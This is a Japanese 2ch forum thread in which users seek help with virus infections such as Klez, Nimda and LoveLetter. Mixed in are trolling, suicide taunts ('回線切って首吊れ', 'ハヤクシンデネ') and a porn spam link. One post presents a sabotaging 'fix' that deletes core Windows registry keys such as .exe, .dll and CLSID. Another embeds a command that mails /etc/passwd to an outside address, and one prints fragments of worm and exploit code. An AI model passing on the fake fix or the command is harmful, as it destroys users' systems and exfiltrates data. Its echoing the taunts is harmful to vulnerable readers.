★ウィルスに感染してしまった！どうしよう！？★

トレンドマイクロなど、新種ウィルス「BADTRANS.B」を警告
http://headlines.yahoo.co.jp/hl?a=20011127-00000006-imp-sci

おめでとう

今晩はお赤飯だね。

nimdaのEにかかっちゃったどうしよう?

回線切って首つって．．．

今夜は眠らせない

ワームが送信したメールのチェック方法を知りませんか？

ウチこれ来たWA

書き方おかしいな
ワームがメールを送信したかどうかを調べる方法を
知っていたら教えてください。

僕もできるなら知りたい。もうどれだけ友人なんかに
エロ画像つきのメールを送ってしまったのか・・・ああ。

ノートンは送信メールもウイルスチェックする模様。

hiraite kansen sichatta///

昨日から見ず知らずの奴から
変なメールが来ると思ったらこれだったのか……
速攻で「削除済みアイテム」に入れようとすると
そのたびOEが固まって鬱。

>>13
プレビューウィンドウを表示させないようにしてみては？
[表示]-[レイアウト]で。
結果報告きぼーん

初心者ですが、どうやらWinMXでウィルスをおとしてしまったようです。
症状としては、メールのプレビューをみただけでメディアプレーヤーが再生されるメールを発信しているようなのですが、
これってニムダでしょうか？
パソコンは初心者なのでだれか対応方法おしえてください。

>>15
http://housecall.antivirus.com/housecall/start_jp.asp

>>13
OEはウィルスのもっともターゲットになりやすい
から即刻変えるベシ！！

昨日から家に4通も来てるんだけど…。
送っている方は気がついていないのでしょうか？
それとも故意にやっているのでしょうか？
ネットをはじめて２年間、今まで１通も来ていなかったのに
突然多くのウイルスが来て困っています

>>18
基本的に気付かないの。

>>18
同じだね。初めての体験だよ。

5

Macro.srcを昼前に頂いてしまいました。

>22
僕も頂きました。すぐに削除したけどだいじょうぶかな。

>>17
OE以外メールソフト教えて下さい。

>>24
PostPetでいいじゃん

いやだよー
硬派なのがいい

>>26
ボトルメールでいいじゃん

Eudraにしまス

>>26
Message Managerはいぶし銀のように渋いぜ

>>29
メッシャー
それにします

>>30
メッシャー？

ラッシャー

ヨッシャー

つづきは　こちらです

くだらねぇ質問はここに書き込め　Ver212
http://pc.2ch.net/test/read.cgi/sec/1002134745/l50

sage

_・)ノ⌒●~*

~☆~☆~☆~☆~☆／

test

さっきクレズ君が家へ遊びに来て大暴れする行動を施していきました。
レジストリを見たところ、次回起動時にはフォーマットが開始されるみたいです。
怖いですね。さて・・・。どれだけ再起動しないでこのマシンは生きていられるか･･･。

Klez.E、Klez系スレッド part4
http://pc.2ch.net/test/read.cgi/sec/1030175440/

まだ生きてるの？このスレ・・・
結局まだOE使ってるワタクシでありますが

　　　　　　　　　　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣＼
Λ＿Λ　　|　君さぁ　こんなスレッド立てるから　　　　　　　　 　|
（　´∀｀）＜　厨房って言われちゃうんだよ　　　　　　　　　 　 　|
（ ΛΛ つ ＞―――――――――――――――――――‐＜
　( ﾟДﾟ) ＜　おまえのことを必要としてる奴なんて　　 　　　　　 |
　/つつ　　|　いないんだからさっさと回線切って首吊れ　　　 　|
　　　　　　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿_／

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) (∩∩) (∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) (∩∩) (∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) (∩∩) (∩∩)

（＾＾）

（＾＾）

マシンも頭も感染しちった。
どうしたら、人気サイトになれるんだろ？
アタックしてみれ。弾き返すぜベビーちゃん！
http://homepage1.nifty.com/yufen/index.htm

　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

クレズッてどうやって駆除するんですか？

クレズッてレをとったらクズだから
（単純なゴロ抜き！！）
やはりウィルス検知などのソフトをある程度
頼りにするのがいいのかもしれない・・・

キモッ

ど〜しよ、ど〜しよ
あおぺきゃらｌｙつぽｖｐｄｆｇｖｋｓｐｓｋかZC<ｚ、ｃ、ｄｓｖｚ、ｇｂ

http://www.trendmicro.co.jp/vinfo/default.asp?sect=TT
↑
俺は、この上のトップ１のクレズとトップ２のREDLOFとが
知らないうちに入っていたが、毎日、ウインドウズアップデイトと
ウイルスバスターの更新をしていたおかげで、感染、実行されずに済んだよ。
でも、ハードディスクが不安定で、一回立ち上がらなくなって
不要の破損ファイルが増えて、ウイルスに感染されたかもって思ったけど
スキャンかけてもでてなかったので、別ＯＳのMEを立ち上げて
スキャンディスクかまして、XPの起動を前回の正常時の起動という所に
設定して立ち上げたり、セーフモードでシステムの復元したり
ttp://homepage2.nifty.com/winfaq/wxp/trouble.html#1349　ここのFAQを
読んで、システムを入れなおしたりして、やっと直ったけどな

あげ荒らしも駆除したいな。
■■■■■■■■終了■■■■■■■■

今日感染しました。
ＩＥを起動すると、トップページになにやら怪しい外国ページが表示され、
よくよく見てみるとイラク戦争のサイトだったり・・・。
怖いんでウイルス検索しても何も出てきません（バスター）
再起動したら出なくなったけど、一体あれは何！？なんでウイルス駆除され
ないの！？

レジストリみてみ。運がよければスタートにあるよ。
認証などもとめられてＯＫしたんだろうね。
昔のワレサイトにはよく・・

そもそも本当にウイルスなん？

>>54
ちゃっとブラウザのパッチ当てろよ

　　　 　∧＿∧
ﾋﾟｭ.ｰ　(　　＾＾ ） ＜これからも僕を応援して下さいね（＾＾）。
　　＝〔~∪￣￣〕
　　＝ ◎――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉

ここで人気No.1のＡＶ女優、及川奈央のオマ○コが見れました!!
うぉぉぉぉぉぉ！！！！素晴らしい！！！(*´Д`*)ハァハァ
http://plaza16.mbn.or.jp/~satchel/oikawa_nao/

http://homepage.mac.com/hiroyuki44/

☆ウィルス情報＆質問 総合スレッド☆part11
http://pc.2ch.net/test/read.cgi/sec/1056101401/l50
■■■■■ 終了 ■■■■■

教えてください。ＸＰに入ってるノートンがウィルスを感知しました。
期限が切れていたので、今日、ノートン・インターネット・セキュリティ
をかってきてました。
インストールして、うまくウィルスを削除できたと表示されたのですが、
再度ノートンを立ち上げると「注意が必要です」と出ます。
これはどういうことなんでしょうか。ほっといても大丈夫でしょうか。
もういちどウィルススキャンをすると、異常なしです。

ものすごい初歩的なことを聞いているのかも知れませんが、
全く初めてのことなのでびびっています。
よろしくお願いします。

今日の朝、２ｃｈを見ていたらウイルスに感染してしまいますた。
ファイルなどは無事なのですが、音が出なくなりますた（悲）
だから音楽やＤＶＤが楽しめません。どうしたらいいの？
直るのでしょうか？

>>62-63 >>61

単質上げんなボケッ
■■■■■ 終了 ■■■■■

2ch見てウイルスにかかるわけないだろ

説明不足でした。
書き込みに添えられたファイルを開いた瞬間感染しました。

>>67
終了宣言書いて、下記のスレへ移動しるようにお勧めしまする。
61ﾀﾝの誘導を見ていないんでしょか。

☆ウィルス情報＆質問　総合スレッド☆part11
http://pc.2ch.net/test/read.cgi/sec/1056101401/l50

■■■■■ 終了 ■■■■■

　__∧＿∧_
　|（　　＾＾ ）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

　　　 　∧＿∧　 ∧＿∧
ﾋﾟｭ.ｰ　（　 ・３・） (　　＾＾ ） ＜これからも僕たちを応援して下さいね（＾＾）。
　　＝〔~∪￣￣￣∪￣￣〕
　　＝ ◎――――――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉&ぼるじょあ

[email protected]
この人から、頻繁にウィルスが撒かれています。
どうしたらいいのか、教えてください。
お願いします。

感染ファイル：_ 髯・鰯竰
感染ウィルス：W32.Klez.H@mm

　　　 (⌒V⌒)
　　　│ ＾ ＾ │＜これからも僕を応援して下さいね（＾＾）。
　　⊂|　　　　|つ
　　　（＿）（＿）　　　　　　　　　　　　　　　　　　　　　　山崎パン

WORM_ANTINNY.Aに感染してしまいました！
レジストリは削除したものの感染ファイルを削除できない！
C\_RESTORE\TEMPという見つからないファイルにあって、どんどん増殖してるらしい！
ついにＣドライブが容量不足に！
ダレカタスケテー！

あぼーん

☆ウィルス情報＆質問 総合スレッド☆Part14
http://pc.2ch.net/test/read.cgi/sec/1064028518/l50へ。
■■■■■■■■■■■■　終了　■■■■■■■■■■■■

>74

ノートン先生体験版を入れて削除
で終わり

起動しなかったらセーフモードで同じ事をやれ

>72

その人からのメールを受信しないように設定する
プロバイダーにへんっだー全文を送る

ラブレターに感染した・・・
これってどうやって駆除すればいいんですか？

黄金厨房がまだいたよ。

PC棄てて、新しいの買え！

迷惑だ！　ごらぁ！！

ここで質問してもマジレスもらえません。

【正式】ウィルス情報＆質問　総合スレッド☆Part19
http://pc5.2ch.net/test/read.cgi/sec/1083586576/l50へ

新しいの買いました

ウィルス情報＆質問　総合スレッド☆Part20
http://pc5.2ch.net/test/read.cgi/sec/1086098775/l50へ。

>>58

誰か〜　ぁ　オンラインスキャン　したらこれが　出てきて
WINDOWS\Downloaded Program Files\CONFLICT.1\HDPlugin1019.dll は　Adware.Gator に感染しています
どこにも　存在しないいんだけど　これのこと　誰か知らない？？？

>>86
いつまでもオンラインスキャンしてろ　アホ

>>42
thunderbird使ってる

パソコンのトラブル解消法・零式（テスト版）

MeないしXPの場合はシステムの復元を無効にしておく。
PCをセーフモードで起動する。
スタート→ファイルを指名して実行→regedit→OK
レジストリエディタが開くので、編集→検索
以下のキーを削除する。
HKEY_LOCAL_MACHINE\Software\CLASSES\.dll
HKEY_LOCAL_MACHINE\Software\CLASSES\.exe
HKEY_LOCAL_MACHINE\Software\CLASSES\.sys
HKEY_LOCAL_MACHINE\Software\CLASSES\dllfile
HKEY_LOCAL_MACHINE\Software\CLASSES\exefile
HKEY_LOCAL_MACHINE\Software\CLASSES\sysfile
HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID
HKEY_LOCAL_MACHINE\Software\CLASSES\Interface
HKEY_LOCAL_MACHINE\Software\CLASSES\Record
dllはウィルス・exeはトロイ/ワーム・sysはスパイウェア・CLSIDはウイルスによって作成されるキー・
Interfaceはトロイやワームによって作成されるキー・Recordはスパイウェアによって、作成されるキー）
作業終了→レジストリエディタを終了して、PCを通常モードで再起動

http://page6.auctions.yahoo.co.jp/jp/show/qanda?aID=f33411326

※緊急※　ウイルスバスターに続いて、NOD32で二度目の大きな不具合発生です。

NOD32をWindows Server 2003で使っているユーザーの方へ。
sp1をあてると通信不能となり、最悪の場合リブートの繰り返しとなります。気をつけて下さい。
開発元が現在対策中です。
ttp://canon-sol.jp/supp/nd/wndt4210.html

※過去（約1年前）の大きな不具合
●NOD32にレジストリを破壊してOS再インストールが必要になる重大バグが発生。
・Windows シャットダウン時にブルースクリーンになる問題
・登録済みのアプリが強制抹消される問題
ttp://canon-sol.jp/product/nd/v20008.html

第二の価格コム事件とも言える「ozmall」のサーバがクラックされた事件の場合では、
現時点でマカフィーとアンラボ製品が問題のウイルスを検出できてます。
ttp://www.ozmall.co.jp/050530/virus.html#soft
　　　　　　　　　　　　　　　　　　　　　　　検出　駆除
マカフィー（Managed VirusScan）　　　　可　　　可
アンラボ（V3ウイルスブロック2005）　　可　　　可
NOD32　　　　　　　　　　　　　　　　　　　不能　不能

ワードが書きかえられちまった（´Л｀；）
マクロウィルス（？）に感染されたファイルの修復法を教えてください。

過疎スレにsageで質問しても･･････

いや・・・
下げるのがマナーかと・・・

ぬるぽに感染した場合どうすればイイですか？
XPでｳｲﾙｽﾊﾞｽﾀｰつかってるんですが

　　　　　　　　　　　　　　　　　　　　　cat /etc/passwd | mail [email protected]
　　　　　　　　　　　　　　　　　　　http://bubble4.2ch.net/test/read.cgi/nendai/1128605930/
　　　　　　　　 ∧ ∧
　　　　　　　　(・∀ ・) 　＜遠慮なく収めてくれ。　礼など要らぬ....。
　　　　　　　　<(　　)v　　　　　ｲｪｰｲ!!

ビールス踏んでしまいました。どなたか対処方教えて頂けませんか。

因みにこれです
http://virus.org.ua/unix/woid.jpg

ビールス踏んでしまいました。どなたか対処方教えて頂けませんか。

因みにこれです
http://virus.org.ua/unix/woid.jpg

Antinnyを投下するトロイの木馬、コピー防止ソフト「XCP」で隠蔽工作か
ttp://internet.watch.impress.co.jp/cda/news/2005/12/08/10158.html
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-trojan.welomoch.html

米Symantecは6日、「W32.HLLW.Antinny」を投下するトロイの木馬型ウイルス「Trojan.Welomoch」を警告した。
コピー防止ソフト「XCP」を悪用して、Antinnyの存在を隠すという。危険度は5段階中、最も低い“1”。
Trojan.Welomochが実行されるとタイトルバーに「抜子たん」と書かれたダイアログが表示される。
このダイアログ中には何らかの文字が表示されているが、現在Symantecが公開している情報ではこの文字が文字化けしており、判読できない。
ただし、プログレッシブバーが表示されていることから、何らかの活動を行なっているものと見られる。？
具体的な活動としてわかっているのは、Windowsのシステムフォルダに「io.tan」というファイルを作成すること。
また、システムフォルダにワーム型ウイルス「W32.HLLW.Antinny」のコピーである
「$sys$WeLoveMcCOL.exe」「$sys$sos$sys$.？exe」「$sys$sonyTimer.exe」という3種類のファイルのうちいずれかを投下する。

さらにレジストリを改竄し、Windowsを起動するたびにAntinnyを実行するよう設定するほか、システムの復元機能を無効にするという。？
なお、Trojan.WelomochがどのようにXCPを悪用してAntinnyを隠すかは、現在のところ明らかにされていない。

HDDをフォーマットしたいんですけどどうすればいいんでしょうか？
誰か教えて下さい

>>256

NOD32だけ、昨日の時点ではOptix系ウイルスの新種に対応できていないみたい。
フリーの製品の方が早く対応できてるし・・・・・・。

★NOD32アンチウィルス Part31

549 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2006/03/31(金) 11:14:37
http://vista.x0.to/img/vi4377115328.jpg

NOD32だけ未対応（´・ω・） ｶﾜｲｿｽ

何もしていないのに、シマンテック社の電子メールプロキシで
「電子メールメッセージ (送信先は xxx、件名は xxx) を送信できませんでした。メールサーバーに対する接続が中断したためです。電子メールクライアントを開いてメッセージ送信フォルダからメッセージを再送してください。」
というメッセージが表示されます。
いろいろ検索しましたが解決方法がわかりません。
ウィルス対策ソフトはノートンの2006でシステムの完全スキャンをしても何も引っかかりません

解決できました。
お騒がせしました。

私は今、困っています。ウィルスなのかわかりませんが、LimeWireで画像をとっていたら、
ゲットした画像が削除も移動も何もできない状態なのです。　ファイルの情報も見ることができず、
大変困っています。　これは何なのですか。どうかわかる方が、いましたら助言をお願いいたします。
ファイルはJPEGです。

超初心者なんですが…ネットで海外サイトに繋いだら勝手に(〇〇をダウンロードしています)って表示されて、慌てて消したんですが遅かったらしく、ネットに繋ぐことができなくなりました…↓
どうしたら良いのでしょうか??父に今にも殺されそうです; ご迷惑おかけしますが、至急よろしくお願い致します(@_@)

>>107
PC接続の環境は、ADSLorダイヤルアップ？
コントロールパネル - インターネットオプション - 接続で大体わかるけど。（Win限定）

>>108ｻﾝ ごめんなさい…どういう事でしょうか(ρ_;)

>>109
>ネットに繋ぐことができなくなりました
接続の設定がわかれば解決できると思ったのですが・・・。
NTTのフレッツならフレッツ接続ツールが起動してない？
yahooも見れないの？　
ウィルスはみつかった？

ブラックウォームというのに引っかかってしまって
ソフトをダウンロードしてインストールしてしまいました。
それからパソコンがおかしくなりマウスが出なくて困っています
どうすれば良いのでしょうか
アンインストールをしたのですが直りません。

>>111
だまされないように！！
http://www.itmedia.co.jp/news/articles/0605/02/news063.html
http://www.higaitaisaku.com/removewinfixer.html

>>110 えっと…Yahoo!も見れません…ということしか分からないです…(>_<)すいません;

hostsファイル書き換えｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

PC起動時にウイルスセキュリティ(ソースネクスト)が起動するようになっているんですが
最近、その起動と同時にファンがフル稼働するのです。
また、画像掲示板などを見ていて、画像を保存しようとすると
ファンがまたもフル回転… CPU使用率は大して変わってないのに。

スパイウェアかと思いスパイボットというソフトで
検索・削除してみましたが症状は改善されていないので…。

一応セキュリティの方で検索はかけてみましたが
ウイルスは検出されませんでした。

最近のウイルスはHDを圧迫したりするタイプではないのでしょうか?
HDの容量は全く変わっていないので…。

これってウイルスなんでしょうか?

ソースネクスト

あるスレッドにあった、次の書き込みの「省略されました・・・」をクリックすると
ノートンが Bloodhound.Exploit.6　のウィルス検地しやがります。
色々文字列いじってみたんですが、名前がこれで、書き込みありで、省略された時のみ
出るみたいです。これって何？（次投稿参照）

死死死死死▼死死死死死死死死▼▼▼鬱死死死死死死死死
死死死死死■■▼鬱死死死死死▼■▼鬱死死死死死死死死
死死死死▼■■鬱死死死死死死■■▼鬱死死死死死死死死
死死死▼■■▼鬱死死死死死▼■■▼▼▼▼■■▼鬱鬱死
死死死■■■鬱鬱▼▼死死死▼■■■■■■■■■▼鬱死
死▼▼■■▼鬱▼■■▼鬱▼■■▼▼▼▼▼■■■鬱鬱死
▼■■■■▼▼■■▼鬱鬱▼■■■鬱鬱鬱▼■■▼鬱死死
▼■■■■▼▼■▼鬱鬱▼■■▼■▼死▼■■■鬱鬱死死
死▼■■■■■■▼鬱▼■■▼▼■■▼■■■▼鬱死死死
死死▼■■■■▼▼鬱▼■▼鬱鬱▼■■■■▼鬱鬱死死死
死死死▼■■▼▼■▼鬱▼鬱死死鬱▼■■■鬱鬱死死死死
死死死▼■■鬱鬱■■▼鬱死死死死▼■■▼▼鬱死死死死
▼▼▼■■■▼■■■■▼死死▼▼■■■■■▼鬱鬱鬱死
■■■■■■■■▼■■▼▼■■■■▼■■■■■■▼▼
■■▼▼▼■■鬱鬱▼▼■■■■▼▼鬱鬱▼■■■■■▼
▼▼▼鬱鬱■■鬱▼▼▼■■■▼▼■▼▼▼▼■■■■▼
鬱■■■▼■■▼■■▼■■▼鬱▼■■■■▼▼▼▼▼鬱
死■■■▼■■▼■■▼▼▼鬱鬱▼■■■■■■▼鬱鬱鬱
死■■■▼■■鬱▼■■鬱鬱鬱死鬱▼▼■■■■▼鬱死死
▼■■■鬱■■鬱▼■■▼鬱死▼鬱鬱鬱▼■■▼鬱鬱死死
▼■■■鬱■■鬱死■■▼鬱▼■■▼▼▼鬱鬱鬱鬱死死死
▼■■▼鬱■■鬱死■■▼鬱▼■■■■■▼▼鬱鬱鬱鬱死
▼■■▼鬱■■鬱死▼▼鬱鬱▼■■■■■■■■▼▼鬱死
▼■■▼鬱■■鬱死鬱鬱鬱鬱鬱▼▼■■■■■■■▼鬱死
死鬱鬱鬱鬱■■鬱死死死死死鬱鬱鬱鬱▼■■■■■▼鬱死
死死死死死■■鬱死死死死死死死死鬱鬱鬱▼▼▼▼鬱鬱死

糞スレ立てるな池沼がハッキングして殺されたいか？

ウィルス情報質問　総合スレッド★Part36
http://pc8.2ch.net/test/read.cgi/sec/1146625920/

海外サイトにアクセスしたらウイルスに感染したっぽいです…インターネットを開こうとしたら「サーバーが見つかりません」って出ます(ρ_;)パソコン初心者な上に緊急です↓どうしたら良いのでしょうか？？どなたか助けて下さい( p_q)

>>120
つ タミフル

マカフィーがトロイを検出したようですが、移動失敗（駆除失敗）と出て
駆除やファイルの削除をクリックしても反応がありません

これはどういった状況でしょうか？

ちなみに一時ファイルで検出されたようなので、一時ファイルを全て削除したのですが
いまだに反応が変わりません

>>122-123
>>121

これはひどい

http://amaena.com/securityworm5/jp/?aid=keyin_jp_ja&lid=keyin&h=&b=0

>>120
俺のも一昨日から同じ状態・・・orz

タミフルって何なんでしょう？
検索するにも出来ないし、スキャンかけても異常ないし。
そういえば接続設定変わってたんだよね・・・やっぱ何かいるのかしら？

2ちゃんにだけは繋がるウィルスか

>>120です; ケータイからです…↓

2ちゃんブラウザはつかえるんだよね。
ＩＥが全然ダメ。

プロバイダなのかな

俺も似たようなもんです。
しかも、デスクトップにあるアイコン開けない。

　　　　　　　　　　　　どうしたらいいんですかね？

　　　　　　　　　　　　　　　　　　　　　　http://up.nm78.com/data/up098026.jpg

2C見てたらいきなりVBS.FreeLinkに感染したという警告が出たんですがどうしたらいいんでしょうか？危険なんですか？そのままにしたらどうなりますか？週1くらいしかﾈｯﾄしないのですが何か被害あるのか、PC壊れたりしますかね(・・?)

>>132
芸スポ板で俺も反応でたがどうなんだろうか

昨日メールチェックをしていたら感染してしまったみたいです。
画面にKernel…………といっぱい文字が出て。。。
再起動したのですが起動途中で止まってしまって
起動することもできません。
どうしたらいいのでしょうか？
パソコンはMacでメールソフトはMailを使っています。

なんか知らんがデスクトップの背景が設定できんよ
プロパティで画像選択して適用ボタンクリックしても適用されない…
しかも右上の三つのボタンもちっさくなってるし…
ウイルスなんかな？

知らぬ間に無理矢理どこかへアクセスされて、
デスクトップとスタートメニューとお気に入りに自動的にショートカットアイコンが
できて、何回削除してもリンク先のファイルを消しても同じこと繰り返される。
どうやら外国のHPの強制表示がされ、ホームが真っ白な場所にされてしまう
模様です。
知っている人がいたらどう言う不正ソフトなのか教えて下さい。

仁義なきエルルゥっていうのにかかってしまったんですが
駆除方法とか教えていただけないでしょうかorz

　　 ／　 　 　 　 　 　 　 　 !　l　ヽ　 |　　　　　　　＼
　　 /　　　　 　 　 　 ｉ　　　 ,'ｌ　|　　 ',　|　　　　i　 　 　 ,
　 /　　　　 　 ｉ　　　 l　 　 /｜ !　　　l　ｌヽ　 　 l　 　 　 '
　,'　　　 　 　 l　　　ｌ |　 _/　 ! ,'　 　 .⊥.Ｌ_',　　 ｌ　｜　　i
. ′　　　　　 |　 _,./ ｧ'´/　　!/　　　　！l　｀iｰlｉ､l 　 ! 　 ｜
. ! 　 ｜　　　ﾚ'´ 〃,'　/　　/　　　　　　!|　　l: | !|i　｜　 . !
｜　　l　　　´!　.///／ __　　　　　　　　二..__ !|　! !　! 　 l | 　　 　・・
！　　ｌ　　　｜/〃'z=_＝=　　 　 　 　 ´, :¬:､ヽ !｜l　　 l,! 　　　
　!　　 ! 　 　 |' ／/´..:.:.ヽ 　 　 　 　 　 i:.:tｯ:.:.i　ヽ !:!　　 |
　 !　　l　　　 l/　 {:.:.ゞ':.: }　　　 　 　 　 t ｰ-;ﾉ 　 ｉ{ﾘ　　 |
.　 l　 ,'|　　　,l　　ヽこ..ク　　　　　　　 　 ｀¨　　 　 |　　　|
.　　!. { l 　 　 |　　　　　　　　　　　 ,　　　　　 　 　 ｌ　 　 !
.　　 ! ｀| 　 　 |　　　　　　　　　　　　 　 　 　 　 　 ,　 　 l 　　　　　　　
　　　i.　l 　 　 |　　　　　　　　　　　　　　　　　 　 /　 　 !
　　　 !　l　　:　l＼　　　　　　　 r−‐,　　　　　 ／　　　 !
　　　｜! ｌ　 : . l: !: 丶､　　　　　｀　　　　 　 イ : |　:　　,′
.　　　 |j　.l　 : . l: !:､: : : ｀:i ー-　.__　 -‐1´: l:| : l　: 　 ,{　　　　　_＿
.　　　 ,'　: :!　: :. l:ヽヽ ___: }　　　　　　　 ヽ: :!: : ! : ;′ハ　　　〃⌒ヽヽ
　　　/　: :l :!　:!: .i-ｧ'´, '´！　　　　　　 　 ｀ｰ / :./　,′.ヽ　　l! 　 　 } }
　　 /　. :,{: :ﾍ .ﾄ､:ヽ,.ｲ　　.'　　　　　　　　　　/ :〃 /､: . ヽ＼　　　 ノノ

e1explorerってアイコンがあちこちに定期的にできるんだよ
検索しても対策方法ないし
誰か教えてくれ

ウィルス情報質問　総合スレッド★Part37
http://pc8.2ch.net/test/read.cgi/sec/1154659082/

デフラグしてないのにdefrug.exeというプロセスが
CPUを70％ぐらい使っているのは、なんなんだ？
ワームかウイルスかスパイウエアか?

VBS/LoveLetter@MM
ってやつに感染した

なんだコレ？ただいまスキャン中

<body onload=window()>
eip = eip + unescape("%u7030%u4300")
p + w * 10 <br> End Sub <br>
LOVE-LETTER-FOR-YOU
dirsystem&"\MSKernel32.vbs
ms-its:mhtml:file://C:
its:mhtml:file://c:\
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines
kak.hta';ken=wd+'ST
Set A4 = A1.CreateTextFile(A1.BuildPath
ToInfect.CodeModule.InsertLines BGN

ウイルス検出のテストをしたいんだけど、
トレンドマイクロの「ＥＩＣＡＲ」とか安全なものでなくて
もっと現場のウイルスがいる危ないサイトとか
ウイルス置き場とか、そういうところないですか？？？
教えてくださ

マルチ乙

nurupo

馬鹿ばっか｡

[email protected]
　かわいい娘　連絡くれ!!

>>1諦める。最悪の事態は考えず最良の事態で自分を納得させる。以上。
だいたい、普通の人間の個人情報にまず価値はない。羽目鳥があると・・・

TROJ_AGENT.GWVというウィルスに感染したようなのですが。
摘出てきないので、自分で処理してください
みたいな風になったのですが、どうしたらいいんでしょうか？
教えてください。お願いします

再起動や短時間（大体30分前後）の電源OFFからの起動ではなんともないのですが
8時間から9時間後に起動すると毎回レジストリの復旧ログが出るんですが
こんな状況にさせるタイプのウィルスなんてあるんですか？
avastでスキャンしても何も見つからなくて・・・（やっぱフリーだから？）
ほぼ同時期に画面が若干緑がかったり起動時の黒画面の時にノイズが走りまくったり
するようにもなってます。

すいません既出かも知れないが、ＷＩＮーＭＥにブラウザＩＥ６の環境で
ＵＰ−ＤＡＴＥは全てやり、セキュリティーホール埋めてフリーの
フィヤ−ウォール+ＮＯＤ３２の組み合わせでＷＥＢ閲覧していたんですが、
不正アクセスを遮断しているはずなのに、ＯＳやＩＥ６、ＮＯＤ３２の
ツールボタンやスクロールボタンが滅茶苦茶動いたりする症状が出ました。

ウイルス対応の応急ツールをトレンドマイクロあたりでＤＬしたいんですが、
どのウイルスが該当しそうでしょうか？。

ＰＣのオンラインセキュリティチェックでは不正アクセス関係は問題無し、
オンラインウイルスＣＨＥＣＫは上手く実行できない状態です。

　 　 　　　　　　　 　 　　　　　　　　　　　　　　　　　　,.へ
　　___ 　　　　　　　 　 　 　 　 　　　　　　　　　　　　ﾑ　　i
　「 ﾋ_i〉　　　 　 　　　　　　 　 　　　　　　　　　　　　 ゝ　〈
　ﾄ　ノ 　　　　　　　　　　　　　　　　　　　　　　　　　　iニ(()
　i 　{ 　 　　　　　　　 　　　＿＿＿_ 　 　　　　　　　　| 　ヽ
　i　　i　　　 　　　　　　　／__,　 , ‐-＼ 　 　 　 　 　　i 　　}
　|　　 i　　　　　　 　　／（●) 　 ( ● )＼　　　　　　 {､　 λ
　ト−┤.　　　　　　／ 　 　（__人__） 　　　＼　　　 ,ノ　￣ ,!
　i　　　ゝ､_ 　　　　|　　　　　´￣` 　 　　　　|　,. '´ﾊ　　　,!
.　ヽ、 　　　｀`　､,__＼ 　　 　 　　　　　 　 ／"　＼ 　ヽ／
　　　＼ノ　ﾉ　　　ﾊ￣r/:::r―--―/::７　　 ﾉ　　　　／
　 　　 　 ヽ.　　　　　　ヽ::〈； . '::. :' |::/　　 /　　　,. "
　　　　　　　 `ｰ ､　　　　＼ヽ::. ;::：|/　　　　　ｒ'"
／￣二二二二二二二二二二二二二二二二二二二二二二二二ヽ
| 答 |そんな世界遺産になってもおかしくないようなPCは捨てろ.|｜
＼＿二二二二二二二二二二二二二二二二二二二二二二二二ノ

　 　 　　　　　　　 　 　　　　　　　　　　　　　　　　　　,.へ
　　___ 　　　　　　　 　 　 　 　 　　　　　　　　　　　　ﾑ　　i
　「 ﾋ_i〉　　　 　 　　　　　　 　 　　　　　　　　　　　　 ゝ　〈
　ﾄ　ノ 　　　　　　　　　　　　　　　　　　　　　　　　　　iニ(()
　i 　{ 　 　　　　　　　 　　　＿＿＿_ 　 　　　　　　　　| 　ヽ
　i　　i　　　 　　　　　　　／__,　 , ‐-＼ 　 　 　 　 　　i 　　}
　|　　 i　　　　　　 　　／（●) 　 ( ● )＼　　　　　　 {､　 λ
　ト−┤.　　　　　　／ 　 　（__人__） 　　　＼　　　 ,ノ　￣ ,!
　i　　　ゝ､_ 　　　　|　　　　　´￣` 　 　　　　|　,. '´ﾊ　　　,!
.　ヽ、 　　　｀`　､,__＼ 　　 　 　　　　　 　 ／"　＼ 　ヽ／
　　　＼ノ　ﾉ　　　ﾊ￣r/:::r―--―/::７　　 ﾉ　　　　／
　 　　 　 ヽ.　　　　　　ヽ::〈； . '::. :' |::/　　 /　　　,. "
　　　　　　　 `ｰ ､　　　　＼ヽ::. ;::：|/　　　　　ｒ'"
　　　　　／￣二二二二二二二二二二二二二二二二ヽ
　　　　　| 答 |Windows MeというOS自体がウイルス｜|
　　　　　＼＿二二二二二二二二二二二二二二二二ノ

セーフモードでカスペオンラインスキャンを試しなさい
NODをスルーしたものをバスターが駆除出来るわけがない
あれはVSの次に使い物にならないぞ

だってＷＥＢ用とかまだ十分使えるんだもの。なんとかしたいんだよ。

>>155
　 　 　　　　　　　 　 　　　　　　　　　　　　　　　　　　,.へ
　　___ 　　　　　　　 　 　 　 　 　　　　　　　　　　　　ﾑ　　i
　「 ﾋ_i〉　　　 　 　　　　　　 　 　　　　　　　　　　　　 ゝ　〈
　ﾄ　ノ 　　　　　　　　　　　　　　　　　　　　　　　　　　iニ(()
　i 　{ 　 　　　　　　　 　　　＿＿＿_ 　 　　　　　　　　| 　ヽ
　i　　i　　　 　　　　　　　／__,　 , ‐-＼ 　 　 　 　 　　i 　　}
　|　　 i　　　　　　 　　／（●) 　 ( ● )＼　　　　　　 {､　 λ
　ト−┤.　　　　　　／ 　 　（__人__） 　　　＼　　　 ,ノ　￣ ,!
　i　　　ゝ､_ 　　　　|　　　　　´￣` 　 　　　　|　,. '´ﾊ　　　,!
.　ヽ、 　　　｀`　､,__＼ 　　 　 　　　　　 　 ／"　＼ 　ヽ／
　　　＼ノ　ﾉ　　　ﾊ￣r/:::r―--―/::７　　 ﾉ　　　　／
